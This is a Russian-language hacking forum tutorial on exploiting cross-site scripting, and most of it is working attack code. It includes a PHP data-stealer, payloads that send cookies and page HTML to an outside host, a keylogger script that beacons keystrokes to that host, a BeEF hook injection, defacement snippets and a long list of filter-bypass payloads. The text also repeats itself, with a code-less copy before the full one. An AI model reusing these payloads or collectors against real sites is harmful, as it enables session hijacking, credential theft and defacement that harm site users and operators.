- Joined
 - Feb 18, 2017
 
- Messages
 - 1,780
 
- Reaction score
 - 158
 
Кража данных с помощью XSS и их передача на удалённый сервер
Это самый популярный вариант эксплуатации XSS. Кроме уязвимости XSS на целевом веб-сайте, нам нужен свой сервер, на который будут отправляться данные. В качестве уязвимых сайтов я буду использовать различные веб-приложения из Web Security Dojo. В качестве сервера, который будет собирать данные, я буду использовать один из своих хостингов (для обучения можете описанное здесь проделывать на localhost’е, или поискать любой бесплатный хостинг с PHP, или просто купить хостинг.
Для приёма и показа данных я буду использовать следующий код:
	
	
	
		
Я сохранил его в файл stealer.php, вы можете выбрать любое название – но тогда не забывайте его менять в соответствующем коде JavaScript.
В строках
	
	
	
		
Устанавливаются файл для хранения данных и пароль (pass).
Для передачи данных используется переменная c, например: http://ip-or-url/stealer.php?c=здесь данные
Для просмотра полученных данных: http://ip-or-url/stealer.php?p=pass
Для очистки файла с захваченными данными: http://ip-or-url/stealer.php?p=pass&rm
Уязвимость мы будем эксплуатировать в приложении http://localhost/mutillidae/index.php?page=add-to-your-blog.php
Сборщик данных я разместил по адресу http://miloserdov.org/stealer.php
Таким образом, внедряемый код имеет следующий вид (вам нужно заменить miloserdov.org на адрес своего домена или IP):
	
	
	
		
Размещаем:
	
	
	
		
		
		
			
		
		
	
	
		
	
Получаем результат:
	
	
	
		
		
		
		
	
	
		
	
Можно украсть весь HTML код:
	
	
	
		
Или отдельные элементы:
	
	
	
		
Кража HTML кода имеет смысл тогда, когда целевой пользователь видит на странице то, что вам недоступно.
Изменение внешнего вида сайта при помощи XSS
Подобным образом можно оставить веб-сайт без содержимого:
	
	
	
		
	
	
	
		
		
		
		
	
	
		
	
А так без содержимого будет только выбранный элемент:
	
	
	
		
Можно поменять содержимое сайта на своё:
	
	
	
		
	
	
	
		
		
		
		
	
	
		
	
Добавить что-то от себя:
	
	
	
		
	
	
	
		
		
		
		
	
	
		
	
И делать что-угодно со стилями.
Внедрение перехватчика нажатий клавиш при XSS (килогер)
Добавление килогера (программы, которая записывает все нажатые пользователем клавиши) наиболее перспективно при хранимой уязвимости XSS. Хотя и при непостоянных XSS килогер может сделать своё дело.
Будут перехватываться все нажатые клавиши, в том числе введённые логины и пароли.
На сервере атакующего нужно создать 2 файла. Первый из них содержит JavaScript код и его роль заключается в захвате и отправке введённых данных. Второй файл на PHP, он отвечает за приём и сохранение перехваченных данных:
Исходный код exploit.js:
	
	
	
		
Обратите внимание на строку:
	
	
	
		
Вместо miloserdov.org вам нужно ввести адрес хоста или IP, куда будут пересылаться перехваченные нажатия клавиш.
Второй файл exploit.php:
	
	
	
		
В нём можно ничего не менять – разве пароль установите на свой.
В сайте с имеющейся хранимой XSS мы вводим:
	
	
	
		
Обратите внимание на адрес – http://miloserdov.org/exploit.js – вам нужно заменить его на свой.
Вводим:
	
	
	
		
		
		
		
	
	
		
	
Просматриваем результат:
	
	
	
		
		
		
		
	
	
		
	
Подцепление на BeEF
Браузер является подцепленным на BeEF, если в страницу веб-сайта, которую просматривает пользователь, удалось внедрить специальный JavaScript код. XSS как раз подходят для этих целей.
Атакующий запускает BeEF на своём сервере:
	
	
	
		
BeEF даёт подсказку, какой файл нужно внедрять в код: http://192.168.1.39:3000/hook.js
Наш код, который мы вставляем в сайт, уязвимый к XSS:
	
	
	
		
Внедняем:
	
	
	
		
		
		
		
	
	
		
	
Когда кто-то посещает страницу с нашим кодом, мы видим это в панели управления BeEF:
	
	
	
		
		
		
		
	
	
		
	
Выполняем разные атаки:
	
	
	
		
		
		
		
	
	
		
	
	
	
	
		
		
		
		
	
	
		
	
Подсказки по эксплуатации XSS и обходу фильтров
Здесь собраны некоторые примеры, которые могут помочь вам обойти XSS фильтры, это может оказаться полезным в различных контекстах и может помочь вам в выполнении XSS.
Базовая полезная нагрузка XSS:
	
	
	
		
Внутри тэга Script:
</script><script>alert("XSS by Shawar")</script>
");alert("xss-by-shawar");//
Обход ограничения тэга script путём замены регистра:
	
	
	
		
XSS с использованием тэгов Image и HTML:
Работает только в Chrome
	
	
	
		
В контексте стилей (работает только на старых версиях IE,, например IE 8, IE 7)
Если input внутри тэга <style>:
	
	
	
		
Если input внутри атрибута style=" ":
	
	
	
		
Обход фильтрации тэга script:
	
	
	
		
Продвинутая полезная нагрузка:
	
	
	
		
Некоторые альтернативы полезных ключевых слов:
	
	
	
		
Следующий урок скоро будет
P.s: И даже не думай использовать этот урок что бы хацкнуть hhide.su
P.p.s: Все равно ничего не получится)
			
			Это самый популярный вариант эксплуатации XSS. Кроме уязвимости XSS на целевом веб-сайте, нам нужен свой сервер, на который будут отправляться данные. В качестве уязвимых сайтов я буду использовать различные веб-приложения из Web Security Dojo. В качестве сервера, который будет собирать данные, я буду использовать один из своих хостингов (для обучения можете описанное здесь проделывать на localhost’е, или поискать любой бесплатный хостинг с PHP, или просто купить хостинг.
Для приёма и показа данных я буду использовать следующий код:
		Code:
	
	<?php
 
#error_reporting(0);
 
$filename = 'log.txt';
$password = 'pass';
 
if (!file_exists($filename)) {
    if ($fh = fopen($filename, 'w')) {
        fclose($fh);
    }
}
 
if (isset($_GET['c'])) {
    $content = '[Host]: ' . $_SERVER['REMOTE_HOST'] . PHP_EOL;
    $content .= '[Remote Addr]: ' . $_SERVER['REMOTE_ADDR'] . PHP_EOL;
    $content .= '[Sensitive Information]: ' . $_GET['c'] . PHP_EOL;
    $content .= PHP_EOL . PHP_EOL;
    file_put_contents($filename, $content, FILE_APPEND | LOCK_EX);
}
 
if (isset($_GET['p'])) {
 
    if ($_GET['p'] == $password) {
        if (isset($_GET['rm'])) {
            unlink($filename);
        } else {
            $data = file_get_contents($filename);
            $convert = explode("\n", $data);
            for ($i = 0; $i < count($convert); $i++) {
                echo $convert[$i] . '</br>';
            }
        }
    }
}
	Я сохранил его в файл stealer.php, вы можете выбрать любое название – но тогда не забывайте его менять в соответствующем коде JavaScript.
В строках
		Code:
	
	$filename = 'log.txt';
$password = 'pass';
	Устанавливаются файл для хранения данных и пароль (pass).
Для передачи данных используется переменная c, например: http://ip-or-url/stealer.php?c=здесь данные
Для просмотра полученных данных: http://ip-or-url/stealer.php?p=pass
Для очистки файла с захваченными данными: http://ip-or-url/stealer.php?p=pass&rm
Уязвимость мы будем эксплуатировать в приложении http://localhost/mutillidae/index.php?page=add-to-your-blog.php
Сборщик данных я разместил по адресу http://miloserdov.org/stealer.php
Таким образом, внедряемый код имеет следующий вид (вам нужно заменить miloserdov.org на адрес своего домена или IP):
		Code:
	
	<script>new Image().src="http://miloserdov.org/stealer.php?c="+encodeURI(document.cookie);</script>
	Размещаем:
	Получаем результат:
	Можно украсть весь HTML код:
		Code:
	
	<script>new Image().src=" http://miloserdov.org/stealer.php?c="+encodeURI(document.body.innerHTML);</script>
	Или отдельные элементы:
		Code:
	
	<script>new Image().src=" http://miloserdov.org/stealer.php?c="+encodeURI(document.getElementById('idSystemInformationHeading').innerHTML));</script>
	Кража HTML кода имеет смысл тогда, когда целевой пользователь видит на странице то, что вам недоступно.
Изменение внешнего вида сайта при помощи XSS
Подобным образом можно оставить веб-сайт без содержимого:
		Code:
	
	<script>document.body.innerHTML=""</script>
	
	А так без содержимого будет только выбранный элемент:
		Code:
	
	<script>document.getElementById('idSystemInformationHeading').innerHTML=""</script>
	Можно поменять содержимое сайта на своё:
		Code:
	
	<script>document.body.innerHTML="<p>Ещё один сайт о всякой фигне.</p>"</script>
	
	Добавить что-то от себя:
		Code:
	
	<script>document.body.innerHTML=document.body.innerHTML+"<p>One more shitty web site.</p>"</script>
	
	И делать что-угодно со стилями.
Внедрение перехватчика нажатий клавиш при XSS (килогер)
Добавление килогера (программы, которая записывает все нажатые пользователем клавиши) наиболее перспективно при хранимой уязвимости XSS. Хотя и при непостоянных XSS килогер может сделать своё дело.
Будут перехватываться все нажатые клавиши, в том числе введённые логины и пароли.
На сервере атакующего нужно создать 2 файла. Первый из них содержит JavaScript код и его роль заключается в захвате и отправке введённых данных. Второй файл на PHP, он отвечает за приём и сохранение перехваченных данных:
Исходный код exploit.js:
		Code:
	
	var keys = '';
document.onkeypress = function (e) {
    var get = window.event ? event : e;
    var key = get.keyCode ? get.keyCode : get.charCode;
    key = String.fromCharCode(key);
    keys += key;
};
window.setInterval(function () {
    new Image().src = 'http://miloserdov.org/exploit.php?keylog=' + keys;
    keys = '';
}, 1000);
	Обратите внимание на строку:
		Code:
	
	new Image().src = 'http://miloserdov.org/exploit.php?keylog=' + keys;
	Вместо miloserdov.org вам нужно ввести адрес хоста или IP, куда будут пересылаться перехваченные нажатия клавиш.
Второй файл exploit.php:
		Code:
	
	<?php
$password = 'pass';
 
if (!file_exists('keylog.txt')) {
    if ($fh = fopen('keylog.txt', 'w')) {
        fclose($fh);
    }
}
 
if (!empty($_GET['keylog'])) {
    $logfile = fopen('keylog.txt', 'a+');
    fwrite($logfile, $_GET['keylog']);
    fclose($logfile);
}
 
if (isset($_GET['p'])) {
 
    if ($_GET['p'] == $password) {
        if (isset($_GET['rm'])) {
            unlink('keylog.txt');
        } else {
            $data = file_get_contents('keylog.txt');
            $convert = explode("\n", $data);
            for ($i = 0; $i < count($convert); $i++) {
                echo $convert[$i] . '</br>';
            }
        }
    }
}
	В нём можно ничего не менять – разве пароль установите на свой.
В сайте с имеющейся хранимой XSS мы вводим:
		Code:
	
	<script src="http://miloserdov.org/exploit.js"></script>
	Обратите внимание на адрес – http://miloserdov.org/exploit.js – вам нужно заменить его на свой.
Вводим:
	Просматриваем результат:
	Подцепление на BeEF
Браузер является подцепленным на BeEF, если в страницу веб-сайта, которую просматривает пользователь, удалось внедрить специальный JavaScript код. XSS как раз подходят для этих целей.
Атакующий запускает BeEF на своём сервере:
		Code:
	
	sudo beef
	BeEF даёт подсказку, какой файл нужно внедрять в код: http://192.168.1.39:3000/hook.js
Наш код, который мы вставляем в сайт, уязвимый к XSS:
		Code:
	
	<script src="http://192.168.1.39:3000/hook.js">
	Внедняем:
	Когда кто-то посещает страницу с нашим кодом, мы видим это в панели управления BeEF:
	Выполняем разные атаки:
	
	Подсказки по эксплуатации XSS и обходу фильтров
Здесь собраны некоторые примеры, которые могут помочь вам обойти XSS фильтры, это может оказаться полезным в различных контекстах и может помочь вам в выполнении XSS.
Базовая полезная нагрузка XSS:
		Code:
	
	<script>alert("XSS-by-Shawar")</script>
"><script>alert("XSS-by-Shawar")</script>
"><script>alert(/XSS-by-Shawar/)</script>
	Внутри тэга Script:
</script><script>alert("XSS by Shawar")</script>
");alert("xss-by-shawar");//
Обход ограничения тэга script путём замены регистра:
		Code:
	
	"><iFrAmE/src=jAvAscrIpT:alert(/xss-by-shawar/)>
"><ScRiPt>alert("xss by shawar")</sCrIpT>
	XSS с использованием тэгов Image и HTML:
Работает только в Chrome
		Code:
	
	"><detials ontoggle=confirm(0)>
"><IMG SRC=x onerror=javascript:alert("XSS-by-Shawar")>
"><img onmouseover=alert(“XSS by Shawar”)>
"><test onclick=alert(/xss-by-shawar/)>clickme</test>
"><a href=javascript:alert(/xss-by-shawar/)clickme</a>
"><h1 onmouseover=alert("XSS by Shawar Khan")> hover on me</h1>
"><svg/onload=prompt("XSS by Shawar Khan")>
"><body/onload=alert("XSS by shawar")>
	В контексте стилей (работает только на старых версиях IE,, например IE 8, IE 7)
Если input внутри тэга <style>:
		Code:
	
	body{xss:expression(alert("XSS by Shawar Khan"))}
	Если input внутри атрибута style=" ":
		Code:
	
	xss:expression(alert(/xss-by-shawar/)
	Обход фильтрации тэга script:
		Code:
	
	<<SCRIPT>alert("XSS by Shawar");//<</SCRIPT>
%253script%253ealert(/xss-by-shawar/)%253c/script%253e
"><s"%2b”cript>alert(/xss-by-shawar/)</script>
foo<script>alert(/xss-by-shawar/)</script>
<scr<script>ipt>alert(/xss-by-shawar/)</scr</script>ipt>
	Продвинутая полезная нагрузка:
		Code:
	
	"><IMG SRC=x onerror=javascript:alert('XSS')>
"><a XSS-test href=jAvAsCrIpT:prompt(/XSS-by-Shawar/)>ClickMe
"><h1/onclick=au006ceru0074(/xss-by-shawar/)>clickme</h1>
"><a id="a"href=javascript:au006ceru0074(/xss-by-shawar/) id="xss-test">Click me</a>#a <
<a href="data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+">clickme
	Некоторые альтернативы полезных ключевых слов:
		Code:
	
	alert = au006ceru0074
prompt = pu0072omu0070u0074
confirm = cou006efiru006d
javascript = jAvascript
: = :
( = (
) = )
использование alert(/xss/) в ссылке = alert%28 /xss/%29 example: <a href="javascript:alert%28 /xss/%29">clickme
base64 alert(2) = data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+
	Следующий урок скоро будет
P.s: И даже не думай использовать этот урок что бы хацкнуть hhide.su
P.p.s: Все равно ничего не получится)